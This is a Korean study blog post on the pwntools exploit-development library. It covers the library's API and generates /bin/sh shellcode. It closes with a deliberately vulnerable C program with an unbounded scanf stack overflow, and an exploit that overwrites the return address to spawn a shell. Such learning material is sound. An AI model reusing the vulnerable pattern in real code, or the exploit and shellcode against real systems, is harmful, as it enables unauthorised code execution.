pwntools의 등장 배경

 

익스플로잇 코드를 작성할 때 자주 사용되는 함수들을 반복적으로 구현하는 것은 비효율적이다.

좀 더 간편하고 효율적으로 익스플로잇 코드를 작성하기 위해 만든 것이 바로 pwntools 파이썬 모듈이다.

 

- 초기 익스플로잇 스크립트

#!/usr/bin/env python2
import socket
# Remote host and port
RHOST = "127.0.0.1"
RPORT = 31337
# Make TCP connection
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((RHOST, RPORT))
# Build payload
payload = ""
payload += "Socket script"
payload += "\n"
# Send payload
s.send(payload)
# Print received data
data = s.recv(1024)
print "Received: {0}".format(data)

 

- pwntools을 사용한 익스플로잇 스크립트

#!/usr/bin/python3
from pwn import *
# Make TCP connection
r = remote("127.0.0.1", 31337)
# Build payload
payload = ""
payload += "Socket script"
payload += "\n"
# Send payload
r.send(payload)
# Print received data
data = r.recv(1024)
print(f"Received: {data}")

 

 

 

 

 

pwntools 설치

 

pwntools 설치

$ apt-get update
$ apt-get install python3 python3-pip python3-dev git libssl-dev libffi-dev build-essential
$ python3 -m pip install --upgrade pip
$ python3 -m pip install --upgrade pwntools

 

pwntools 설치 확인

$ python3
Python 3.6.9 (default, Apr 18 2020, 01:56:04)
[GCC 8.4.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> from pwn import *
>>>

 

 

 

 

 

pwntools API 사용법

pwntools 공식 매뉴얼: http://docs.pwntools.com/en/latest/

 

process & remote

process 함수는 익스플로잇을 로컬 바이너리를 대상으로 할 때 사용한다.

remote 함수는 익스플로잇을 원격 서버를 대상으로 할 때 사용한다.

 

process 함수는 보통 익스플로잇을 테스트하고 디버깅하기 위해, remote 함수는 대상 서버를 실제로 공격하기 위해 사용한다.

 

from pwn import *
p = process('./test') #로컬 바이너리 'test'를 대상으로 익스플로잇 수행
p = remote('example.com',31337) #'example.com'의 31337 포트에서 실행 중인 프로세스를 대상으로 익스플로잇 수행

 

 

 

 

 

send

send는 데이터를 프로세스에 전송하기 위해 사용한다.

pwntools에는 관련된 다양한 함수가 정의되어 있다.

 

from pwn import *
p = process('./test')
p.send('A') # ./test에 'A'를 입력
p.sendline('A') # ./test에 'A'+'\n'을 입력
p.sendafter('hello','A') # ./test가 'hello'를 출력하면, 'A'를 입력
p.sendlineafter('hello','A') # ./test가 'hello'를 출력하면, 'A' + '\n'을 입력

 

 

 

 

 

recv

recv는 프로세스에서 데이터를 받기 위해 사용한다.

pwntools에는 관련된 다양한 함수가 정의되어 있다.

 

주의해야 할 점은 recv()와 recvn()의 차이점이다.

recv(n)은 최대 n 바이트를 받는 것이므로 그만큼을 받지 못해도 에러를 발생시키지 않지만,

recvn(n)의 경우 정확히 n 바이트의 데이터를 받지 못하면 계속 기다린다.

 

from pwn import *
p = process('./test')
data = p.recv(1024) #p가 출력하는 데이터를 최대 1024바이트까지 받아서 data에 저장
data = p.recvline() #p가 출력하는 데이터를 개행문자를 만날 때까지 받아서 data에 저장
data = p.recvn(5) #p가 출력하는 데이터를 5바이트만 받아서 data에 저장
data = p.recvuntil('hello') #p가 출력하는 데이터를 'hello'가 출력될 때까지 받아서 data에 저장
data = p.recvall() #p가 출력하는 데이터를 프로세스가 종료될 받아서 data에 저장

 

 

 

 

 

packing & unpacking

어떤 값을 리틀 엔디언의 바이트 배열로 변경하거나 역의 과정을 거쳐야 할 때 사용한다.

pwntools에는 관련된 함수들이 정의되어 있다.

 

 

 

packing

p32(int) - 32bit 리틀 엔디언으로 패킹해주는 함수

p64(int) - 64bit 리틀 엔디언으로 패킹해주는 함수

 

ex)

p32(0x61626364)  // \x64\x63\x62\x61 (dcba)
alpha = 0x6162636465666768
p64(alpha)  // \x68\x67\x66\x65\x64\x63\x62\x61 (hgfedcba)

 

 

 

unpacking

u32(str) - 32bit 리틀 엔디언으로 언패킹해주는 함수

u64(str) - 64bit 리틀 엔디언으로 언패킹해주는 함수

 

ex)

u32("ABCD")  // 0x44434241
alpha = "\x41\x42\x43\x44\x45\x46\x47\x48"
u64(alpha)  // 0x4847464544434241

→  str은 packing된 것이어야 함.

 

 

 

예제 스크립트

#!/usr/bin/python3
#Name: pup.py
from pwn import *
s32 = 0x41424344
s64 = 0x4142434445464748
print(p32(s32))
print(p64(s64))
s32 = "ABCD"
s64 = "ABCDEFGH"
print(hex(u32(s32)))
print(hex(u64(s64)))

 

 

 

 

 

interactive

호출하면 터미널로 프로세스에 데이터를 입력하고, 프로세스의 출력을 확인할 수 있다.

셸을 획득했거나 익스플로잇의 특정 상황에 직접 입력을 주면서 출력을 확인하고 싶을 때 사용한다.

 

from pwn import *
p = process('./test')
p.interactive()

 

 

 

 

 

ELF

ELF 헤더에는 익스플로잇에 사용될 수 있는 각종 정보가 기록되어있다.

pwntools를 사용하면 이 정보들을 쉽게 참조할 수 있다.

 

from pwn import *
e= ELF('./test')
puts_plt = e.plt['puts'] # ./test에서 puts()의 PLT주소를 찾아서 puts_plt에 저장
read_got = e.got['read'] # ./test에서 read()의 GOT주소를 찾아서 read_got에 저장

 

→ plt와 got는 나중에 정리

 

 

 

 

 

context

context.log

pwntools에는 디버그의 편의를 돕는 로깅 기능이 있으며, 로그 레벨은 context.log_level 변수로 조절할 수 있다.

 

from pwn import *
context.log_level = 'error' # 에러만 출력
context.log_level = 'debug' # 대상 프로세스와 익스플로잇간에 오가는 모든 데이터를 화면에 출력
context.log_level = 'info'  # 비교적 중요한 정보들만 출력

 

 

 

context.arch

pwntools에 있는 셸코드 생성, 어셈블, 디스어셈블 기능 등은 공격 대상의 아키텍처에 영향을 받는다.

그래서 pwntools은 아키텍처 정보를 프로그래머가 지정할 수 있게 하며, 이 값에 따라 몇몇 함수들의 동작이 달라진다.

 

from pwn import *
context.arch = "amd64" # x86-64 아키텍처
context.arch = "i386"  # x86 아키텍처
context.arch = "arm"   # arm 아키텍처

 

 

 

 

 

shellcraft

메모리의 상태를 실시간으로 반영하고, 여러 제약 조건에 맞춰 셸 코드를 작성해야 할 경우 직접 작성하는 것이 좋다.

→ shellcraft를 사용해서 작성

 

#!/usr/bin/python3
#Name: shellcraft.py
from pwn import *
context.arch = 'amd64' # 대상 아키텍처 x86-64
code = shellcraft.sh() # 셸을 실행하는 셸 코드 
print(code)
$ python3 shellcraft.py
    /* execve(path='/bin///sh', argv=['sh'], envp=0) */
    /* push b'/bin///sh\x00' */
    push 0x68
    mov rax, 0x732f2f2f6e69622f
    ...
    syscall

 

x86-64를 대상으로 생성할 수 있는 여러 종류의 셸 코드
https://docs.pwntools.com/en/stable/shellcraft/amd64.html

 

 

 

 

 

asm

pwntools의 어셈블 기능이다.

asm도 대상 아키텍처가 중요하므로, 아키텍처를 미리 지정해야 한다.

 

#!/usr/bin/python3
#Name: asm.py
from pwn import *
context.arch = 'amd64' # 익스플로잇 대상 아키텍처 'x86-64'
code = shellcraft.sh() # 셸을 실행하는 셸 코드
code = asm(code)       # 셸 코드를 기계어로 어셈블
print(code)
python3 asm.py
b'jhH\xb8/bin///sPH\x89\xe7hri\x01\x01\x814$\x01\x01\x01\x011\xf6Vj\x08^H\x01\xe6VH\x89\xe61\xd2j;X\x0f\x05'

 

 

 

 

 

pwntools 실습

예제 스크립트

// Name: rao.c
// Compile: gcc -o rao rao.c -fno-stack-protector -no-pie
#include <stdio.h>
#include <unistd.h>
void get_shell() {
  char *cmd = "/bin/sh";
  char *args[] = {cmd, NULL};
  execve(cmd, args, NULL);
}
int main() {
  char buf[0x28];
  printf("Input: ");
  scanf("%s", buf);
  return 0;
}

 

익스플로잇 코드

#!/usr/bin/python3
#Name: rao.py
from pwn import *          # Import pwntools module
p = process('./rao')       # Spawn process './rao'
get_shell = 0x4005a7       # Address of get_shell() is 0x4005a7
payload = b"A"*0x30        #|       buf      |  <= "A"*0x30
payload += b"B"*0x8        #|       SFP      |  <= "B"*0x8
payload += p64(get_shell)  #| Return address |  <= "\xa7\x05\x40\x00\x00\x00\x00\x00"
p.sendline(payload)        # Send payload to './rao'
p.interactive()            # Communicate with shell

 

1. rao 프로세스 가져오기

2. get_shell 함수의 address 설정  →  나중에 디버거로 알아내기

3. 스택의 구조 파악에서 ret(return address)에 get_shell 함수의 주소 넣기

4. 작성한 payload를 rao에 전달

5. shell과 상호 작용

 

 

'Study > System Hacking' 카테고리의 다른 글

[dreamhack] shell_basic  (1) 2022.04.04
[dreamhack] Exploit Tech: Shellcode  (0) 2022.04.02
[dreamhack] Tool: gdb  (0) 2022.03.26
[dreamhack] x86 Assembly  (0) 2022.03.26
[dreamhack] Linux Memory Layout  (0) 2022.03.25
복사했습니다!